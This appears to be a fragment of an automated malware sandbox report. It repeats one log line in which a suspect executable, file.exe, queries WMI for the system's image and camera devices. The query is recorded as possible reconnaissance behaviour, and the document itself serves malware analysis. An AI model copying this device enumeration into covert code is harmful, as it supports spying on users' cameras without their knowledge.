                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
